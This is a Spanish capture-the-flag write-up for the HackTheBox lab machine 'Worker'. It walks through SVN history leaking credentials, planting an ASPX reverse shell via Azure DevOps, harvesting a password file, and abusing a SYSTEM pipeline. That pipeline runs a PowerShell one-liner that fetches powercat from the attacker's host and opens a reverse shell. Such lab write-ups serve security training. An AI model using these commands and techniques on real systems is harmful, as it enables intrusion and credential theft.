Worker es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Worker 10.10.10.203 a /etc/hosts como worker.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# Nmap 7.70 scan initiated Wed Dec 2 12:15:17 2020 as: nmap -sC -p- -oA enumeration/nmap 10.10.10.203 Nmap scan report for 10.10.10.203 Host is up (0.067s latency). Not shown: 65532 filtered ports PORT STATE SERVICE 80/tcp open http | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server 3690/tcp open svn 5985/tcp open wsman # Nmap done at Wed Dec 2 12:19:41 2020 -- 1 IP address (1 host up) scanned in 264.34 seconds |
Encontramos en este primer escaneo dos puntos interesantes, un posible portal web en el puerto 80 y el acceso a SubVersion en el puerto 3690 así que vamos a comenzar enumerando estos servicios.
Enumeración
Comenzaremos visualizando el portal web en el puerto 80, donde encontramos la siguiente pantalla:
Revisamos la misma y no encontramos nada más que la página por defecto de IIS así que vamos a pasar al svn a ver si encontramos más información.
Comprobamos la información básica del mismo:
1 2 3 4 5 6 7 8 9 10 11 |
$ svn info svn://worker.htb Path: . URL: svn://worker.htb Relative URL: ^/ Repository Root: svn://worker.htb Repository UUID: 2fc74c5a-bc59-0744-a2cd-8b7d1d07c9a1 Revision: 5 Node Kind: directory Last Changed Author: nathen Last Changed Rev: 5 Last Changed Date: 2020-06-20 15:52:00 +0200 (Sat, 20 Jun 2020) |
Y un listado de los ficheros existentes en el repositorio donde encontramos un subdominio y un fichero de texto:
1 2 3 |
$ svn list svn://worker.htb dimension.worker.htb/ moved.txt |
Así que procedemos a la descarga de los ficheros y directorios encontrados:
1 2 3 |
$ svn export svn://worker.htb/moved.txt A moved.txt Export complete. |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
$ svn export svn://worker.htb/dimension.worker.htb/ A dimension.worker.htb A dimension.worker.htb/LICENSE.txt A dimension.worker.htb/README.txt A dimension.worker.htb/assets A dimension.worker.htb/assets/css A dimension.worker.htb/assets/css/fontawesome-all.min.css A dimension.worker.htb/assets/css/main.css A dimension.worker.htb/assets/css/noscript.css A dimension.worker.htb/assets/js A dimension.worker.htb/assets/js/breakpoints.min.js A dimension.worker.htb/assets/js/browser.min.js A dimension.worker.htb/assets/js/jquery.min.js A dimension.worker.htb/assets/js/main.js A dimension.worker.htb/assets/js/util.js A dimension.worker.htb/assets/sass A dimension.worker.htb/assets/sass/base A dimension.worker.htb/assets/sass/base/_page.scss A dimension.worker.htb/assets/sass/base/_reset.scss A dimension.worker.htb/assets/sass/base/_typography.scss A dimension.worker.htb/assets/sass/components A dimension.worker.htb/assets/sass/components/_actions.scss A dimension.worker.htb/assets/sass/components/_box.scss A dimension.worker.htb/assets/sass/components/_button.scss A dimension.worker.htb/assets/sass/components/_form.scss A dimension.worker.htb/assets/sass/components/_icon.scss A dimension.worker.htb/assets/sass/components/_icons.scss A dimension.worker.htb/assets/sass/components/_image.scss A dimension.worker.htb/assets/sass/components/_list.scss A dimension.worker.htb/assets/sass/components/_table.scss A dimension.worker.htb/assets/sass/layout A dimension.worker.htb/assets/sass/layout/_bg.scss A dimension.worker.htb/assets/sass/layout/_footer.scss A dimension.worker.htb/assets/sass/layout/_header.scss A dimension.worker.htb/assets/sass/layout/_main.scss A dimension.worker.htb/assets/sass/layout/_wrapper.scss A dimension.worker.htb/assets/sass/libs A dimension.worker.htb/assets/sass/libs/_breakpoints.scss A dimension.worker.htb/assets/sass/libs/_functions.scss A dimension.worker.htb/assets/sass/libs/_mixins.scss A dimension.worker.htb/assets/sass/libs/_vars.scss A dimension.worker.htb/assets/sass/libs/_vendor.scss A dimension.worker.htb/assets/sass/main.scss A dimension.worker.htb/assets/sass/noscript.scss A dimension.worker.htb/assets/webfonts A dimension.worker.htb/assets/webfonts/fa-brands-400.eot A dimension.worker.htb/assets/webfonts/fa-brands-400.svg A dimension.worker.htb/assets/webfonts/fa-brands-400.ttf A dimension.worker.htb/assets/webfonts/fa-brands-400.woff A dimension.worker.htb/assets/webfonts/fa-brands-400.woff2 A dimension.worker.htb/assets/webfonts/fa-regular-400.eot A dimension.worker.htb/assets/webfonts/fa-regular-400.svg A dimension.worker.htb/assets/webfonts/fa-regular-400.ttf A dimension.worker.htb/assets/webfonts/fa-regular-400.woff A dimension.worker.htb/assets/webfonts/fa-regular-400.woff2 A dimension.worker.htb/assets/webfonts/fa-solid-900.eot A dimension.worker.htb/assets/webfonts/fa-solid-900.svg A dimension.worker.htb/assets/webfonts/fa-solid-900.ttf A dimension.worker.htb/assets/webfonts/fa-solid-900.woff A dimension.worker.htb/assets/webfonts/fa-solid-900.woff2 A dimension.worker.htb/images A dimension.worker.htb/images/bg.jpg A dimension.worker.htb/images/overlay.png A dimension.worker.htb/images/pic01.jpg A dimension.worker.htb/images/pic02.jpg A dimension.worker.htb/images/pic03.jpg A dimension.worker.htb/index.html Exported revision 5. |
Revisamos el subdominio y los ficheros existentes pero no vemos nada importante en los mismos.
Revisamos el fichero de texto, el cual dice lo siguiente:
1 2 3 4 5 |
$ cat moved.txt This repository has been migrated and will no longer be maintaned here. You can find the latest version at: http://devops.worker.htb // The Worker team :) |
Parece que hay una dirección nuevo que no conocíamos así que la añadimos al fichero /etc/hosts y accedemos a través del navegador, pero nos solicita unas credenciales que no tenemos.
Así que vamos a seguir buscando en el repositorio de svn a ver si podemos obtener más información.
Revisamos las versiones anteriores y encontramos un fichero ps1 en una de ellas:
1 2 3 |
$ svn checkout -r 2 svn://worker.htb A deploy.ps1 Checked out revision 2. |
Y cuyo contenido es el siguiente:
1 2 3 4 5 6 7 |
$ cat deploy.ps1 $user = "nathen" $plain = "wendel98" $pwd = ($plain | ConvertTo-SecureString) $Credential = New-Object System.Management.Automation.PSCredential $user, $pwd $args = "Copy-Site.ps1" Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args") |
Vemos en el mismo unas credenciales que posiblemente nos permitan acceder al portal visto anteriormente así que probamos las mismas y estamos dentro:
El portal pertenece a la aplicación azure devops, una app utilizada para la gestión de proyectos, ejecución de pipelines, etc…
Revisamos la misma y conseguimos una forma de poder continuar, para ello necesitaremos crear un nuevo work item en la ruta>
ekenas -> smarthotel360 -> boards -> work items
Y posteriormente crear un nuevo branch en la ruta>
ekenas -> SmartHotel360 -> Repos -> Branches -> New Branch
Ahora lo que haremos será subir una shell inversa en aspx con el fin de poder obtener acceso al servidor, en nuestro caso hemos utilizado la publicada en github en el repositorio de borjmz.
Y subiremos la misma a nuestro branch:
Una vez lo tengamos subido necesitaremos hacer un pull para añadir nuestro fichero a la rama master, ya que no disponemos de permisos para escribir directamente sobre la misma:
A continuación, aprobaremos y completaremos el pull para añadir nuestro fichero al repositorio en su rama master:
Y posteriormente accederemos a nuestro fichero a través de curl o del navegador y conseguiremos acceso en nuestra escucha en netcat en el puerto indicado:
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.13] from (UNKNOWN) [10.10.10.203] 50285 Spawn Shell... Microsoft Windows [Version 10.0.17763.1282] (c) 2018 Microsoft Corporation. All rights reserved. c:\windows\system32\inetsrv>whoami whoami iis apppool\defaultapppool c:\windows\system32\inetsrv> |
Ya estamos dentro, pero vamos a necesitar algo más para conseguir nuestra primera flag.
Revisaremos los discos existentes:
1 2 3 4 5 |
c:\>wmic logicaldisk get caption wmic logicaldisk get caption Caption C: W: |
y ya que observamos un disco aparte del raíz, revisaremos el contenido de la misma:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
c:\>dir w: dir w: Volume in drive W is Work Volume Serial Number is E82A-AEA8 Directory of W:\svnrepos\www\conf 2020-06-20 14:30 <DIR> . 2020-06-20 14:30 <DIR> .. 2020-06-20 10:29 1�112 authz 2020-06-20 10:29 904 hooks-env.tmpl 2020-06-20 14:27 1�031 passwd 2020-04-04 19:51 4�454 svnserve.conf 4 File(s) 7�501 bytes 2 Dir(s) 18�764�918�784 bytes free |
Y encontramos un fichero passwd que parece ser interesante por lo que comprobamos su contenido:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
c:\>type W:\svnrepos\www\conf\passwd type W:\svnrepos\www\conf\passwd ### This file is an example password file for svnserve. ### Its format is similar to that of svnserve.conf. As shown in the ### example below it contains one section labelled [users]. ### The name and password for each user follow, one account per line. [users] nathen = wendel98 nichin = fqerfqerf nichin = asifhiefh noahip = player nuahip = wkjdnw oakhol = bxwdjhcue owehol = supersecret paihol = painfulcode parhol = gitcommit pathop = iliketomoveit pauhor = nowayjose payhos = icanjive perhou = elvisisalive peyhou = ineedvacation phihou = pokemon quehub = pickme quihud = kindasecure rachul = guesswho raehun = idontknow ramhun = thisis ranhut = getting rebhyd = rediculous reeinc = iagree reeing = tosomepoint reiing = isthisenough renipr = dummy rhiire = users riairv = canyou ricisa = seewhich robish = onesare robisl = wolves11 robive = andwhich ronkay = onesare rubkei = the rupkel = sheeps ryakel = imtired sabken = drjones samken = aqua sapket = hamburger sarkil = friday c:\> |
Y obtenemos un listado de usuarios y contraseñas. En una primera enumeración, observamos que el usuario robisl existe en la máquina, por lo que vamos a utilizar evil-winrm para acceder con sus credenciales al sistema:
1 2 3 4 5 6 7 8 9 |
./evil-winrm.rb -i 10.10.10.203 -u robisl -p wolves11 Evil-WinRM shell v2.0 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\robisl\Documents> whoami worker\robisl *Evil-WinRM* PS C:\Users\robisl\Documents> |
Y ya estamos dentro.
Obteniendo la flag de user
Ahora que estamos dentro, accedemos al escritorio del usuario robisl y conseguimos nuestra flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 |
*Evil-WinRM* PS C:\Users\robisl> cd desktop dir*Evil-WinRM* PS C:\Users\robisl\desktop> dir Directory: C:\Users\robisl\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 12/2/2020 12:16 PM 34 user.txt *Evil-WinRM* PS C:\Users\robisl\desktop> type user.txt 3xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx2 *Evil-WinRM* PS C:\Users\robisl\desktop> |
Y comenzaremos a enumerar de nuevo con el objetivo de conseguir permisos como administrador.
Escalado de privilegios
Ahora que ya estamos dentro del sistema, enumeramos el mismo en busca de alguna opción que nos ayude en la posibilidad de escalar privilegios a administrador pero no conseguimos ver nada importante que nos ayude a lograr este objetivo. Debido a esto, y ya que disponemos de las claves de un usuario, vamos a acceder al portal de devops visto anteriormente con estas nuevas credenciales y lo conseguimos.
Además, tenemos acceso a una nueva sección a la cual no teníamos anteriormente, la sección de pipelines, donde podremos lanzar los nuestros con el fin de obtener más información del sistema:
Con el fin de comprobar si realmente funciona, lanzamos un primer pipeline con el siguiente código:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
# Starter pipeline # Start with a minimal pipeline that you can customize to build and deploy your code. # Add steps that build, run tests, deploy, and more: # https://aka.ms/yaml trigger: - master steps: - script: whoami displayName: 'Run a one-line script' - script: | echo Add other tasks to build, test, and deploy your project. echo See https://aka.ms/yaml displayName: 'Run a multi-line script' |
Y efectivamente, observamos que el usuario con el que se está ejecutando es nt authority\system por lo que ya sabemos como continuar:
Ahora vemos dos posibilidades de conseguir la flag, la primera y más fácil es obtener la flag directamente desde un pipeline con el siguiente código:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
# Starter pipeline # Start with a minimal pipeline that you can customize to build and deploy your code. # Add steps that build, run tests, deploy, and more: # https://aka.ms/yaml trigger: - master steps: - script: type c:\users\administrator\desktop\root.txt displayName: 'Run a one-line script' - script: | echo Add other tasks to build, test, and deploy your project. echo See https://aka.ms/yaml displayName: 'Run a multi-line script' |
En nuestro caso, vamos a lanzar una reverse shell para obtener acceso como system, así que utilizaremos powercat para levantar la shell y ejecutaremos el siguiente payload en nuestro pipeline:
1 |
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.13/powercat.ps1');powercat -c 10.10.14.13 -p 4444 -e cmd" |
Y conseguiremos acceso al servidor como system en nuestra escucha:
1 2 3 4 5 6 7 |
nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.13] from (UNKNOWN) [10.10.10.203] 51053 Microsoft Windows [Version 10.0.17763.1282] (c) 2018 Microsoft Corporation. All rights reserved. W:\agents\agent11\_work\9\s> |
Obteniendo la flag de root
Ahora que somos system, sólo nos queda obtener nuestra flag del escritorio del usuario administrator:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
W:\agents\agent11\_work\9\s>dir c:\users\administrator\desktop\ dir c:\users\administrator\desktop\ Volume in drive C has no label. Volume Serial Number is 32D6-9041 Directory of c:\users\administrator\desktop 2020-07-14 13:01 <DIR> . 2020-07-14 13:01 <DIR> .. 2020-12-02 12:16 34 root.txt 1 File(s) 34 bytes 2 Dir(s) 10 455 048 192 bytes free W:\agents\agent11\_work\9\s>type c:\users\administrator\desktop\root.txt type c:\users\administrator\desktop\root.txt 2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxf W:\agents\agent11\_work\9\s> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace